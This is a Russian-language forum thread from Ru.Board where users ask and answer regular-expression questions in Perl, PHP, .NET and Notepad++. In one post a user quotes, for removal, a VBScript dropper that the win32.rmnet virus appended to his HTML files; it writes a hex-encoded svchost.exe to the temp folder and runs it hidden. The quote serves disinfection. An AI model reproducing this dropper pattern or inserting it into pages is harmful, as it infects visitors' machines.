Перейти из форума на сайт.Реклама на Ru.Board


Система IP-видеонаблюдения "Линия". Скачать бесплатную демо-версию для 16 камер. НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » Прикладное программирование » Регулярные выражения

Модерирует : ShIvADeSt

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10

Открыть новую тему     Написать ответ в эту тему

crotoff

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
NightSpamer
попробовал заменить в "notepad++" но ничего не вышло (can`t find the text), подскажи что вставлять в форму (искомый текст и замещаемый)

Всего записей: 934 | Зарегистр. 17-04-2007 | Отправлено: 12:46 18-12-2008
NightSpamer



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Искать \[url=http:\/\/(.*?)\]
Заменить на [url=http:\/\/my_link]
Что есть "notepad++" не знаю, возможно у него свой взгляд на регулярки. Проверял на perl-5.8.8-41.

Всего записей: 291 | Зарегистр. 28-11-2006 | Отправлено: 14:29 19-12-2008
crotoff

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
NightSpamer
видимо да, там синтаксис отличный от Пёрл

Всего записей: 934 | Зарегистр. 17-04-2007 | Отправлено: 15:55 19-12-2008
X11



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Господа, не соизволите ли глянуть мою проблему с DIRegEx
http://forum.ru-board.com/topic.cgi?forum=33&topic=10654#4

Всего записей: 2799 | Зарегистр. 24-11-2005 | Отправлено: 12:15 30-09-2009
vovansystems

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Есть задача в шаблоне версии страницы для печати в скобках около слова-якоря выводить адрес, куда ведёт ссылка, чтобы на бумаге было видно
 
Долго и упорно вспоминал регэкспы, но никак не могу решить одну проблему - preg_replace заменяет только последнее вхождение.
 

Код:
$text = preg_replace('/<a[^<>]*href="([^"]*)"[^<>]*>(.*)<\/a>/U','$0 ($1)',$text);

 
Я его уже и от жадности отучил, и какие только варианты не перепробовал..
 
Сами ссылки разные, но в основном вида (хотя бывают ещё всякие атрибуты типа _target="blank"

Код:
<p class="MsoNormal"><a href="http://domain.com/news/1000">Текст якоря</a></p>

 
Добавлено:
Разобрался. Решается модификатором s - проблема была в том, что были разрывы строк в ссылках.

Всего записей: 56 | Зарегистр. 24-12-2004 | Отправлено: 16:55 27-02-2012
XPerformer



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Подскажите пожалуйста как выкинуть из результата пробелы
Рассмотрим кусочек рег. выражения
(?<ViewCount>\d{0,3}\s?\d{0,3})
Во ViewCount попадают числа от 0 до 999, и числа вида 111 999, где тысячи отделены пробелами.
Можно как то сделать, чтобы во ViewCount оказалось число без пробелов вида 111999?

Всего записей: 2176 | Зарегистр. 20-06-2011 | Отправлено: 01:28 02-05-2012
gidrosoldat



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Добрый день, помогите с регулярным выражением!
 
Есть документ такого типа:

Цитата:
1. Текст первого параграфа.
Продолжение текста первого параграфа.
1.1. Текст первого подпараграфа.
1.2. Текст второго подпараграфа.
Продолжение текста второго подпараграха.
2. Текст второго параграфа.
......
N. Текст N-ого параграфа

 
Мне разбить этот текст на отдельные параграфы - получить отдель первый обязательный номер и второй не обязательный и конечно же текст параграфа.
Если бы параграф был в одну строку я бы делал как то так:
(\d+)\.(?:(\d+)\.)?\s(.+)
И получил бы три группы с интересующими меня данными. Но тут как видите может быть еще перенос строки. И тогда мой шаблон не захватывает продолжение (например продолжение первого параграфа). Помогите с составлением регулярного выражения.

Всего записей: 34 | Зарегистр. 24-02-2011 | Отправлено: 16:06 16-02-2013 | Исправлено: gidrosoldat, 16:06 16-02-2013
pka

Junior Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

Цитата:
Мне разбить этот текст на отдельные параграфы

 
Если не требуется разбить именно и только регулярным выражением то попробуйте так
Код:
#!perl
 
use strict;
 
my ($i,@arr,$txt);
open(IN,"in.txt");
$txt = '';
while ($i = <IN>) {
    if ($i =~ /^\d+\./) { # если строка начинается на номер, то начало нового параграфа
        push(@arr,$txt); # добавляем $txt в массив
        $txt = $i; # начинаем новый параграф
        } else { # если строка не начинается с номера, то дабавляем в предыдущий параграф
            $txt .= $i;
            }
    }
close(IN);
push(@arr,$txt); # добавляем последний параграф в массив
 
foreach my $i (@arr) {
    my ($nomer,$paragraf) = ($i =~ m/^((?:\d+\.)+)\s*(.*)/s);
    print "$nomer\n$paragraf\n";
    }

Всего записей: 83 | Зарегистр. 16-03-2006 | Отправлено: 00:42 17-02-2013
serg525

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Подскажите, пожалуйста, какое регулярное выражение использовать, чтобы удалить все javascript из файла.
 
Т.е. удалить все теги с содержимым:
 
<script src="1_files/ga.js" async="" type="text/javascript" async="">Какой-то код</script>
<script ...>.....</script>
 
 
Разобрался, как удалить эти теги регулярным выражением, если они расположены на одной строке (любым из 4 вариантов):
 
Найти:
     <script[^>]*>.*</script>
или
    <script(.*?)>.*?</script>
или
    <script.*?<\/script>
или
    <script( [^>]+)?>(.*)</script>
 
 
Заменить на:
   пусто
 
Но как удалять их, если они на нескольких строках? Да еще в Windows Linux файлах?
----------------------------
 
И дополнительно, есть ли возможность удалить все выражения:  
onclick=...  
onLoad="..."
(только выражения с атрибутами) из кода?
 
 
 
 
Спасибо.

Всего записей: 6 | Зарегистр. 02-03-2006 | Отправлено: 18:26 17-02-2013
xorvrn



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
serg525
для .NET
 
 

Всего записей: 14 | Зарегистр. 20-08-2009 | Отправлено: 01:31 18-02-2013
pka

Junior Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

Цитата:
чтобы удалить все javascript


Код:
$txt =~ s/<script.*?<\/script>//gs;

Всего записей: 83 | Зарегистр. 16-03-2006 | Отправлено: 14:18 18-02-2013
Xom9I4oK



Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
В тексте есть слова такого вида (все цифры могут меняться): keys9[1] == 8
Как найти такие слова я разобрался: keys\d*?\[\d\]\s+(=)(=)\s\d
Но я не понял как мне заменить последнюю цифру (после ==) на 1

Всего записей: 502 | Зарегистр. 01-04-2005 | Отправлено: 01:09 22-05-2014 | Исправлено: Xom9I4oK, 01:11 22-05-2014
Daniyar91

Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Заменяеш на 1, то что найдется с использованием такого шаблона
Код:
(?<=keys\d+\[\d+\]\s*==\s*)\d+

но если подумать, пробелы могут быть и внутри и перед скобками, т.е. надо так
Код:
(?<=keys\d+\s*\[\s*\d+\s*\]\s*==\s*)\d+

Всего записей: 423 | Зарегистр. 30-08-2011 | Отправлено: 08:55 22-05-2014
0pupentium

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Здравствуйте.
Помогите пожалуйста в следующем тексте найти путь после "Anno5.exe=":

Код:
[Settings]
Anno5.exe=C:\Program Files (x86)\Ubisoft\ANNO 2070\Anno5.exe
AnnoCookie.exe=C:\Program Files (x86)\Ubisoft\AnnoCookie.exe
 

Для нахождения пути после "AnnoCookie.exe=" использую выражение "[^=]*$".
В действительности пути могут отличаться от указанных, поэтому использую регулярные выражения.

Всего записей: 78 | Зарегистр. 09-11-2009 | Отправлено: 15:18 06-10-2015 | Исправлено: 0pupentium, 15:19 06-10-2015
Daniyar91

Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
(?<=Anno5\.exe=).+
 
и ты не правильно ищешь для AnnoCookie.exe, потому-что [^=] исключает знак =, а в пути он может быть, а * -- ноль и более повторений, но путь минимум 4 символа (но только название файла уже 14), т.е. никак не 0.
 
читай про просмотр в перед\назад, и должно стать ясно, как делать.

----------
Халява! ШОК!!! Без СМС.

Всего записей: 423 | Зарегистр. 30-08-2011 | Отправлено: 18:56 06-10-2015 | Исправлено: Daniyar91, 19:08 06-10-2015
0pupentium

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Daniyar91
Действительно, знак = я не учел.
Спасибо за помощь и совет, теперь все работает.

Всего записей: 78 | Зарегистр. 09-11-2009 | Отправлено: 19:12 06-10-2015
crotoff

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Салют! Вирус win32.rmnet дописал в конец всех htm скрипт вида

Код:
SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A50000...000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

 
Хочу попробовать удалить этот фрагмент из всех htm-файлов перебором. Помогите составить регулярное выражение, чтоб этот фрагмент удалился, а всё остальное - нет. Или может удобнее всё, что после </html> подлежит удалению

Всего записей: 934 | Зарегистр. 17-04-2007 | Отправлено: 22:55 21-01-2016 | Исправлено: crotoff, 22:59 21-01-2016
hErAx

Редактировать | Цитировать | Сообщить модератору
Для этого даже не нужны регулярки. Откройте все файлы в AkelPad. Выделите нужный фрагмент текста и выполните замену. Всё очень просто.
 
Добавлено:
картина

Отправлено: 23:12 21-01-2016
crotoff

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
hErAx
каким образом их открыть в AkelPad? их же тысячи

Всего записей: 934 | Зарегистр. 17-04-2007 | Отправлено: 23:19 21-01-2016
regist123



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
crotoff 22:55 21-01-2016
Цитата:
Или может удобнее всё, что после </html> подлежит удалению

Как вариант:
Найти
Код:
\<\/html\>[\s\S]*

заменить на
Код:
</html>


----------
FAQ по восстановлению аккаунтов
Подфорум для раздач

Всего записей: 5411 | Зарегистр. 20-03-2009 | Отправлено: 23:20 21-01-2016 | Исправлено: regist123, 23:25 21-01-2016
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3 4 5 6 7 8 9 10

Компьютерный форум Ru.Board » Компьютеры » Прикладное программирование » Регулярные выражения

Имя:
Пароль:
Сообщение

Для вставки имени, кликните на нем.

Опции сообщенияДобавить свою подпись
Подписаться на получение ответов по e-mail
Добавить тему в личные закладки
Разрешить смайлики?
Запретить коды


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.Board
© Ru.Board 2000-2017

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru